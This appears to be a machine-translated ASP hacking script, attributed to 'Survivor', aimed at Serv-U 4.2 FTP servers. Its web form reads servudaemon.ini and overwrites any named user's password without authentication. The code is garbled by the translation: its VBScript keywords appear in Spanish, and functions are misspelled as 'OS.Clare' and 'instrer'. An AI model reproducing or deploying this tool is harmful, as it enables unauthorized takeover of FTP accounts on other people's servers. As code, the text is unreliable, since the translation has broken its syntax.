Se prueba el siguiente código para que funcione en Serv-U 4.2
<%
'| ######################### |
'| Survivor QQ: 54883661 |
'| Correo: [email protected] |
'| ######################### |
iniPath = d:/programas de programa/serv-u/servudaemon.ini 'Establezca la ruta del archivo servudaemon.ini
usuario = [usuario = y request (usuario) y | 1]
pass = contraseña = y solicitud (pase)
clave = solicitud (clave)
Si la tecla <> entonces
Dim OS, Userlong, Passlong, PL, SS
Establecer fso = createObject (scripting.filesystemObject)
establecer os = fso.opentextfile (inipath, 1) 'lea servudaemon.ini
S = OS.Readall
OS.Clare
userlong = instrer (s, usuario)+len (usuario) +2
Para i = UserLong a UserLong+20
Passlong = Passlong+1
Si ASC (Mid (S, I, 1)) = 13 entonces
salir
final si
próximo
PL = Mid (S, Userlong, Passlong-1)
ss = reemplazar (s, usuario y chr (13) y chr (10) & PL, user & chr (13) & chr (10) y pase)
establecer os = fso.createTextFile (iniPath, true) 'Escribir en servudaemon.ini
OS.Write SS
OS.Clare
final si
%>
<Método de formulario = post>
Nombre de usuario: <input type = text name = user> <br>
Nueva contraseña: <input type = text name = pass> <br>
<input type = enviar name = key value = modify> <br>
</form>